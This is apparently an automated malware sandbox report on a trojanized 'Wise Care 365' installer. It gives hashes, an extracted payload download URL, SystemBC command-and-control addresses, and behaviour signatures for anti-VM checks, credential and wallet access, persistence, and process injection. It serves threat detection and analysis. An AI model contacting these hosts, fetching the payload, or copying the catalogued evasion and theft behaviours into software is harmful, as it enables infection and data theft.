Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
25/10/2022, 14:50
Static task
static1
Behavioral task
behavioral1
Sample
WiseCare365_Setup.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
WiseCare365_Setup.exe
Resource
win10v2004-20220901-en
General
-
Target
WiseCare365_Setup.exe
-
Size
41.2MB
-
MD5
a054cf67547476c2ab1b4d8e66bff7b3
-
SHA1
b1b29a1ce3b6ee3bbea3ef30c36d7bd0f0935699
-
SHA256
8baf828cdb482e769c87e58d47782100ebce01c9039a670b154d0f8eca958948
-
SHA512
f672dcc0e190b22664770c2ce151a384e5bc06bce98e9f71e8f4a7eb480c08e5c15f14cdbc8a141599c854a5bfd0edecad63795edf388a752259855fe90c135f
-
SSDEEP
786432:QsCKwcgE6McNv4noJS8nqOkx1Aiwn6QB3bwvNf1soEZLM/1A6LAVByFkWOOrHSPb:JChcgEFc/AnxlCboZ1dE18Zk0kWIb
Malware Config
Extracted
http://31.42.177.171/hfile.bin
Extracted
systembc
89.22.225.242:4193
195.2.93.22:4193
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 344C.exe -
Blocklisted process makes network request 3 IoCs
flow pid Process 17 4656 powershell.exe 19 4132 cscript.exe 21 4132 cscript.exe -
Downloads MZ/PE file
-
Executes dropped EXE 22 IoCs
pid Process 3828 WiseCare365_Setup.tmp 3380 Wise Care 365 6.3.5.613.exe 220 Wise Care 365 6.3.5.613.tmp 2188 7za.exe 3776 ELEVATE.EXE 4908 7za.exe 1636 7za.exe 3448 7za.exe 1400 7za.exe 212 7za.exe 2624 7za.exe 2572 7za.exe 2364 7za.exe 2040 7za.exe 556 7za.exe 3976 7za.exe 4588 Microsoft.Windows.DSC.CoreConf.exe 4984 FE9.exe 4336 23C0.exe 380 344C.exe 3864 svcupdater.exe 2004 FE9.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 344C.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 344C.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WiseCare365_Setup.tmp Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation cscript.exe -
Loads dropped DLL 8 IoCs
pid Process 3828 WiseCare365_Setup.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 5384 InstallUtil.exe 5384 InstallUtil.exe 5384 InstallUtil.exe -
resource yara_rule behavioral2/memory/380-325-0x0000000000400000-0x0000000000E54000-memory.dmp themida behavioral2/memory/380-363-0x0000000000400000-0x0000000000E54000-memory.dmp themida -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 344C.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
pid Process 4588 Microsoft.Windows.DSC.CoreConf.exe 4588 Microsoft.Windows.DSC.CoreConf.exe 4336 23C0.exe 4336 23C0.exe 380 344C.exe 3864 svcupdater.exe 3864 svcupdater.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 380 set thread context of 5384 380 344C.exe 164 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Wise Care 365\Languages\is-HE9UH.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-J49BD.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise JetSearch\Languages\is-KFD39.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-ICSBC.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-81651.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-2ID4D.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Auto Shutdown\Languages\is-QDJRO.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Program Uninstaller\Languages\is-IL0OC.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\is-ROJPG.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-3I34Q.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-B242D.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Memory Optimizer\is-KLGGE.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Tools\img\is-540D0.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\is-IN2RM.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-ON248.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Memory Optimizer\Languages\is-K2SBG.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-HA1T8.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Game Booster\Languages\is-C70C8.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Tools\img\is-719J0.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Tools\img\is-DVPRK.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-6ON5P.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-M2C15.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-16NG7.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Tools\img\is-L98RU.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-LQVIV.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-31CJN.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise JetSearch\Languages\is-KTSAQ.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-5S5DJ.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-34RPR.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-LSS7N.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-RISG3.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-F5H65.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Game Booster\is-1F31I.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Game Booster\Languages\is-0EQTV.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\is-9CKL6.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-NO45C.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-GMM5D.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Force Deleter\Languages\is-8TCBP.tmp Wise Care 365 6.3.5.613.tmp File opened for modification C:\Program Files (x86)\Wise Care 365\Wise Force Deleter\WiseDeleter.exe Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-B8BTR.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-B6DPS.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-10373.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Memory Optimizer\Languages\is-84HKS.tmp Wise Care 365 6.3.5.613.tmp File opened for modification C:\Program Files (x86)\Wise Care 365\Wise Game Booster\WiseGameBooster.exe Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\is-DNFSF.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-8F0H2.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-FD09M.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Tools\is-5NL58.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-6N4CU.tmp Wise Care 365 6.3.5.613.tmp File opened for modification C:\Program Files (x86)\Wise Care 365\Wise Duplicate Finder\7z.dll Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-VU8MB.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\is-COIHQ.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\skins\is-LJUQC.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Force Deleter\is-UPCOE.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Reminder\Languages\is-NNL7O.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-NJNE6.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-KQGD6.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-0PMUC.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Wise Duplicate Finder\is-VLP3C.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\headers\is-L45EN.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-H3IVM.tmp Wise Care 365 6.3.5.613.tmp File created C:\Program Files (x86)\Wise Care 365\Languages\is-12LS0.tmp Wise Care 365 6.3.5.613.tmp File opened for modification C:\Program Files (x86)\Wise Care 365\Wise Auto Shutdown\WiseAutoShutdown.exe Wise Care 365 6.3.5.613.tmp File opened for modification C:\Program Files (x86)\Wise Care 365\Wise Program Uninstaller\7z.dll Wise Care 365 6.3.5.613.tmp -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Tasks\wow64.job FE9.exe File opened for modification C:\Windows\Tasks\wow64.job FE9.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Microsoft.Windows.DSC.CoreConf.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Microsoft.Windows.DSC.CoreConf.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Microsoft.Windows.DSC.CoreConf.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3844 schtasks.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Process not Found Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe -
Runs .reg file with regedit 1 IoCs
pid Process 3452 regedit.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4756 PING.EXE -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3828 WiseCare365_Setup.tmp 3828 WiseCare365_Setup.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 1716 powershell.exe 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 1716 powershell.exe 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp -
Suspicious behavior: MapViewOfSection 33 IoCs
pid Process 4588 Microsoft.Windows.DSC.CoreConf.exe 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 2248 Process not Found 2248 Process not Found 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 2248 Process not Found 2248 Process not Found 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 3772 explorer.exe 2248 Process not Found 2248 Process not Found 3772 explorer.exe 3772 explorer.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4436 msedge.exe 4436 msedge.exe 4436 msedge.exe 4436 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1716 powershell.exe Token: SeDebugPrivilege 4656 powershell.exe Token: SeDebugPrivilege 3776 ELEVATE.EXE Token: SeDebugPrivilege 3184 powershell.exe Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeDebugPrivilege 4336 23C0.exe Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found Token: SeCreatePagefilePrivilege 2248 Process not Found Token: SeShutdownPrivilege 2248 Process not Found -
Suspicious use of FindShellTrayWindow 12 IoCs
pid Process 3828 WiseCare365_Setup.tmp 220 Wise Care 365 6.3.5.613.tmp 4436 msedge.exe 2248 Process not Found 2248 Process not Found 4436 msedge.exe 2248 Process not Found 4436 msedge.exe 2248 Process not Found 2248 Process not Found 2248 Process not Found 2248 Process not Found -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp 220 Wise Care 365 6.3.5.613.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2644 wrote to memory of 3828 2644 WiseCare365_Setup.exe 84 PID 2644 wrote to memory of 3828 2644 WiseCare365_Setup.exe 84 PID 2644 wrote to memory of 3828 2644 WiseCare365_Setup.exe 84 PID 3828 wrote to memory of 3380 3828 WiseCare365_Setup.tmp 85 PID 3828 wrote to memory of 3380 3828 WiseCare365_Setup.tmp 85 PID 3828 wrote to memory of 3380 3828 WiseCare365_Setup.tmp 85 PID 3380 wrote to memory of 220 3380 Wise Care 365 6.3.5.613.exe 86 PID 3380 wrote to memory of 220 3380 Wise Care 365 6.3.5.613.exe 86 PID 3380 wrote to memory of 220 3380 Wise Care 365 6.3.5.613.exe 86 PID 3828 wrote to memory of 3804 3828 WiseCare365_Setup.tmp 87 PID 3828 wrote to memory of 3804 3828 WiseCare365_Setup.tmp 87 PID 3828 wrote to memory of 3804 3828 WiseCare365_Setup.tmp 87 PID 3804 wrote to memory of 1716 3804 cmd.exe 89 PID 3804 wrote to memory of 1716 3804 cmd.exe 89 PID 3804 wrote to memory of 1716 3804 cmd.exe 89 PID 3804 wrote to memory of 4656 3804 cmd.exe 96 PID 3804 wrote to memory of 4656 3804 cmd.exe 96 PID 3804 wrote to memory of 4656 3804 cmd.exe 96 PID 3804 wrote to memory of 2188 3804 cmd.exe 97 PID 3804 wrote to memory of 2188 3804 cmd.exe 97 PID 3804 wrote to memory of 2188 3804 cmd.exe 97 PID 3804 wrote to memory of 4132 3804 cmd.exe 98 PID 3804 wrote to memory of 4132 3804 cmd.exe 98 PID 3804 wrote to memory of 4132 3804 cmd.exe 98 PID 4132 wrote to memory of 560 4132 cscript.exe 99 PID 4132 wrote to memory of 560 4132 cscript.exe 99 PID 4132 wrote to memory of 560 4132 cscript.exe 99 PID 560 wrote to memory of 3776 560 cmd.exe 101 PID 560 wrote to memory of 3776 560 cmd.exe 101 PID 4132 wrote to memory of 2380 4132 cscript.exe 103 PID 4132 wrote to memory of 2380 4132 cscript.exe 103 PID 4132 wrote to memory of 2380 4132 cscript.exe 103 PID 4132 wrote to memory of 4744 4132 cscript.exe 105 PID 4132 wrote to memory of 4744 4132 cscript.exe 105 PID 4132 wrote to memory of 4744 4132 cscript.exe 105 PID 2380 wrote to memory of 1892 2380 cmd.exe 106 PID 2380 wrote to memory of 1892 2380 cmd.exe 106 PID 2380 wrote to memory of 1892 2380 cmd.exe 106 PID 4744 wrote to memory of 4972 4744 cmd.exe 108 PID 4744 wrote to memory of 4972 4744 cmd.exe 108 PID 4744 wrote to memory of 4972 4744 cmd.exe 108 PID 4744 wrote to memory of 4756 4744 cmd.exe 109 PID 4744 wrote to memory of 4756 4744 cmd.exe 109 PID 4744 wrote to memory of 4756 4744 cmd.exe 109 PID 4972 wrote to memory of 3184 4972 cmd.exe 110 PID 4972 wrote to memory of 3184 4972 cmd.exe 110 PID 4972 wrote to memory of 3184 4972 cmd.exe 110 PID 2380 wrote to memory of 4908 2380 cmd.exe 111 PID 2380 wrote to memory of 4908 2380 cmd.exe 111 PID 2380 wrote to memory of 4908 2380 cmd.exe 111 PID 2380 wrote to memory of 1636 2380 cmd.exe 112 PID 2380 wrote to memory of 1636 2380 cmd.exe 112 PID 2380 wrote to memory of 1636 2380 cmd.exe 112 PID 2380 wrote to memory of 3448 2380 cmd.exe 113 PID 2380 wrote to memory of 3448 2380 cmd.exe 113 PID 2380 wrote to memory of 3448 2380 cmd.exe 113 PID 2380 wrote to memory of 1400 2380 cmd.exe 114 PID 2380 wrote to memory of 1400 2380 cmd.exe 114 PID 2380 wrote to memory of 1400 2380 cmd.exe 114 PID 2380 wrote to memory of 212 2380 cmd.exe 116 PID 2380 wrote to memory of 212 2380 cmd.exe 116 PID 2380 wrote to memory of 212 2380 cmd.exe 116 PID 2380 wrote to memory of 2624 2380 cmd.exe 117 PID 2380 wrote to memory of 2624 2380 cmd.exe 117 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\WiseCare365_Setup.exe"C:\Users\Admin\AppData\Local\Temp\WiseCare365_Setup.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Users\Admin\AppData\Local\Temp\is-DA78E.tmp\WiseCare365_Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-DA78E.tmp\WiseCare365_Setup.tmp" /SL5="$9011A,41919602,1320448,C:\Users\Admin\AppData\Local\Temp\WiseCare365_Setup.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe"C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Users\Admin\AppData\Local\Temp\is-TE49F.tmp\Wise Care 365 6.3.5.613.tmp"C:\Users\Admin\AppData\Local\Temp\is-TE49F.tmp\Wise Care 365 6.3.5.613.tmp" /SL5="$1020C,39988502,64512,C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:220 -
C:\Windows\SysWOW64\regedit.exe"C:\Windows\regedit.exe" /S "C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\settings.reg"5⤵
- Runs .reg file with regedit
PID:3452
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://lrepacks.net/5⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:4436 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa998c46f8,0x7ffa998c4708,0x7ffa998c47186⤵PID:1328
-
-
